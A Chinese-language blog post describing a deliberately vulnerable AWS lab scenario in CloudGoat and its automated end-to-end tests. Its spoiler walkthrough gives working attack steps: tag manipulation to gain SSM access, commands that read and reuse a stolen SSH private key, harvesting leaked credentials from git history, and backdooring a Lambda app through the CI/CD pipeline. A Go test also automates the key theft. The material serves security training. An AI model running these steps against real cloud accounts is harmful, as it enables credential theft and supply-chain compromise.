实现易受攻击的AWS DevOps环境作为CloudGoat场景
我是可丢弃安全实验室的忠实粉丝，无论是用于攻击还是防御目的（参见：在Azure中自动化配置Active Directory实验室）。在撰写《云安全漏洞与事件：2021年回顾》之后，我想构建一个“故意易受攻击的AWS实验室”，其中包含典型的攻击路径，包括静态长期凭证和供应链安全元素。
CloudGoat：易受攻击的AWS环境
CloudGoat是一个开源项目，包含一系列易受攻击的AWS环境，可以使用围绕Terraform的Python包装器在您自己的AWS账户中轻松创建。每个场景都有一个专用文件夹，包含其描述和解决方案。
示例CloudGoat场景
例如，您可以使用以下命令在您的AWS账户中启动cicd场景：
1
|
python cloudgoat.py create cicd
|
此命令将运行Terraform来启动基础设施，并显示开始使用的说明。通常，它会输出一组AWS凭证以供开始使用。
贡献新的CloudGoat场景
直接链接：https://github.com/RhinoSecurityLabs/cloudgoat/tree/master/scenarios/cicd
场景故事
FooCorp是一家公开面向API的公司。FooCorp的客户每分钟向以下API端点提交敏感数据：
1
2
3
4
5
|
POST {apiUrl}/prod/hello
Host: {apiHost}
Content-Type: text/html
superSecretData=...
|
该API作为Lambda函数实现，通过API Gateway公开。由于FooCorp实施DevOps，它有一个持续部署管道，可以在几分钟内自动将Lambda函数的新版本从源代码部署到生产环境。
FooCorp的持续部署管道。
您的任务——如果您选择接受：您将获得一个低权限IAM用户的初始AWS凭证集。您的目标是窃取提交到FooCorp API的敏感数据。请注意，模拟用户活动正在账户中进行，模拟对FooCorp API的活动。这是通过每分钟运行的AWS CodeBuild项目实现的。
该场景包含：
- 3个IAM用户
- 1个VPC，其中包含私有子网中的EC2实例
- 用于实现API的组件：
- 1个API Gateway
- 1个Lambda函数
- 1个ECR仓库
- 用于实现持续部署管道的组件：
- 1个CodePipeline管道
- 2个CodeBuild项目
- 1个CodeCommit仓库
FooCorp基础设施架构图
利用演练
本节包含剧透！只有当您卡住或不想挑战场景时才应阅读。点击此处跳过本节并继续：使用端到端测试进行持续测试
当我们通过python3 cloudgoat.py create cicd实例化场景时，我们会获得一个初始的AWS IAM访问密钥：
1
2
3
4
5
6
7
|
[cloudgoat] terraform apply completed with no error code.
[cloudgoat] terraform output completed with no error code.
cloudgoat_output_access_key_id = AKIA254BBSG...
cloudgoat_output_api_url = https://4ybsnrwee1.execute-api.us-east-1.amazonaws.com/prod
cloudgoat_output_aws_account_id = 012345678912
cloudgoat_output_secret_access_key = mjV9uB....
|
我们可以在环境中设置AWS_ACCESS_KEY_ID和AWS_SECRET_ACCESS_KEY，或使用aws-vault。我更喜欢后者，因为它可以方便地使用CLI和AWS控制台。
1
2
3
4
5
6
7
8
9
10
|
$ aws-vault add cloudgoat-step1
Enter Access Key ID:
Enter Secret Access Key:
Added credentials to profile "cloudgoat-step1" in vault
# 使用CLI
$ aws-vault exec cloudgoat-step1 --no-session
# 打开AWS控制台
$ aws-vault login cloudgoat-step1 --no-session
|
我们以名为ec2-sandbox-manager的用户身份进行身份验证，该用户具有IAM策略，允许我们管理标记为Environment=dev的EC2实例的标签，并对具有Environment=sandbox的实例执行任何SSM操作。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
{
"Effect": "Allow",
"Resource": "*",
"Action": [
"ec2:CreateTags",
"ec2:DeleteTags"
],
"Condition": {
"StringLike": {
"ec2:ResourceTag/Environment": ["dev"]
}
}
},
{
"Effect": "Allow",
"Resource": "*",
"Action": ["ssm:*"],
"Condition": {
"StringLike": {
"ssm:ResourceTag/Environment": ["sandbox"]
}
}
}
|
一个EC2实例正在运行，标记为Environment=dev：
我们的IAM策略不允许我们通过AWS SSM Session Manager访问该实例。但是，我们确实有权覆盖用于访问控制的Environment标签：
然后我们可以访问EC2实例：
1
2
3
4
5
|
$ aws ssm start-session --region us-east-1 --target i-030c2cba2ef533829
Starting session with SessionId: ec2-sandbox-manager-06e2440aa9ed6f315
# id
uid=1001(ssm-user) gid=1001(ssm-user) groups=1001(ssm-user)
|
在我们身份验证的用户的主目录下，我们找到一个SSH私钥：
1
2
3
4
5
|
$ cd
$ cat .ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEApn/Tcy
...
|
通过将其指纹与账户中其他IAM用户关联的SSH公钥进行比较，我们注意到被盗的私钥属于名为cloner的IAM用户：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
$ ssh-keygen -f .ssh/stolen_key -l -E md5
2048 MD5:be:5e:49:5e:e5:d0:66:bb:91:30:3f:66:2e:97:1a:11
$ aws iam list-ssh-public-keys --user-name cloner
{
"SSHPublicKeys": [
{
"UserName": "cloner",
"SSHPublicKeyId": "APKA254BBSGPK2B5K5YQ",
"Status": "Active",
"UploadDate": "2021-12-27T10:34:19+00:00"
}
]
}
$ aws iam get-ssh-public-key --user-name cloner --ssh-public-key-id APKA254BBSGPK2B5K5YQ --encoding PEM --output text --query 'SSHPublicKey.Fingerprint'
be:5e:49:5e:e5:d0:66:bb:91:30:3f:66
|
该用户恰好对CodeCommit仓库具有codecommit:GitPull权限。使用CodeCommit文档，我们可以将仓库克隆到本地机器：
1
2
3
4
5
6
7
8
9
10
|
chmod 700 .ssh/stolen_key
export AWS_REGION=us-east-1
sshKeyId=$(aws iam list-ssh-public-keys --user-name cloner --output text --query 'SSHPublicKeys[0].SSHPublicKeyId')
cat >> .ssh/config <<EOF
Host *.amazonaws.com
IdentityFile ~/.ssh/stolen_key
EOF
git clone ssh://$sshKeyId@git-codecommit.$AWS_REGION.amazonaws.com/v1/repos/backend-api
|
我们现在可以访问应用程序的源代码！
源代码中没有什么有趣的内容。但是，如果我们查看Git提交历史，一个提交引起了我们的注意：
1
2
3
4
5
|
39ac1aa (HEAD -> master, origin/master, origin/HEAD) Added app.py
88055fb Added requirements.txt
bdf59bb Added Dockerfile
f1cb341 Use built-in AWS authentication instead of hardcoded keys
70f0181 Added buildspec.yml
|
分析此提交的差异（git show f1cb341）揭示了一些泄露的AWS凭证！
使用这些凭证向AWS进行身份验证，我们注意到我们刚刚泄露了IAM用户developer的凭证，该用户具有codecommit:GitPush和codecommit:PutFile权限。
我们现在可以使用CodeCommit UI后门应用程序，并等待持续部署管道将其部署到生产环境！例如，我们可以让应用程序将秘密数据记录到其日志（CloudWatch日志组/aws/lambda/backend-api）。我们还可以后门应用程序，使其在每个请求上将秘密数据发送到远程攻击者控制的服务器——或者不接触应用程序代码，而是后门Docker镜像本身。
向应用程序源代码提交恶意更改
一旦我们执行了恶意提交，CodePipeline管道就会拾取我们的更改并开始将其推出到生产环境：
几分钟后，我们成功后门了应用程序并捕获了标志！
1
2
3
|
START RequestId: 3bd6cd1e-9e01-4012-859d-70c9fcd9d643 Version: $LATEST
superSecretData=FLAG{SupplyCh4!nS3curityM4tt3r5"}
END RequestId: 3bd6cd1e-9e01-4012-859d-70c9fcd9d643
|
使用端到端测试进行持续测试
如前所述，此场景基于负责创建VPC、EC2实例、管道等的Terraform代码。Terraform代码并非微不足道。我们如何高度自信地确保它持续按预期工作？回想一下，在我们的上下文中，工作意味着处于可通过预期步骤利用的状态。
我们利用了Terratest，这是一个用于测试Terraform代码的Go库。更具体地说，我们编写了如下工作的Go测试。
- 使用Terratest针对实时AWS环境运行我们的Terraform代码。资源实际部署到AWS。
- 从我们的Go测试中，向FooCorp API发送实际的HTTP请求以确保其已正确部署。
- 仍然从我们的Go测试中，以编程方式执行利用步骤，一步一步。
- 测试结束后，销毁我们通过Terraform代码配置的基础设施。
然后我们可以使用go test运行我们的测试，无论是手动还是在每个拉取请求上自动运行。以下是“代码形式的利用步骤”的样子：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
func (test *EndToEndTest) StealPrivateSSHKey(instanceId string) string {
// 在实例上执行SSM命令以窃取SSH私钥
ssmClient := ssm.NewFromConfig(test.awsConfig)
result, err := ssmClient.SendCommand(context.TODO(), &ssm.SendCommandInput{
DocumentName: aws.String("AWS-RunShellScript"),
InstanceIds: []string{instanceId},
Parameters: map[string][]string{
"commands": {"cat /home/ssm-user/.ssh/id_rsa"},
},
})
test.assert.Nil(err, "Unable to send SSM command to instance")
// 等待SSM命令的输出
commandOutput, err := ssm.NewCommandExecutedWaiter(ssmClient).WaitForOutput(context.TODO(), &ssm.GetCommandInvocationInput{
CommandId: result.Command.CommandId,
InstanceId: &instanceId,
}, 2*time.Minute)
test.assert.Nil(err, "failed to retrieve SSM command output")
// 我们成功窃取了SSH私钥
return *commandOutput.StandardOutputContent
}
|
1
2
3
|
--- PASS: TestScenario (248.47s)
PASS
ok github.com/cloudgoat/tests/supply-chain-security 249.070s
|
结论
我鼓励您尝试这个场景！更一般地说，CloudGoat拥有一套有价值的实验室，包括许多真实的AWS漏洞。
您对这个场景有什么看法？您如何测试您的安全实验室？您希望在CloudGoat中看到什么？让我们在Twitter上继续讨论！
感谢RhinoSecurityLabs的Ryan Gerstenkorn提供的出色贡献体验！感谢您的阅读。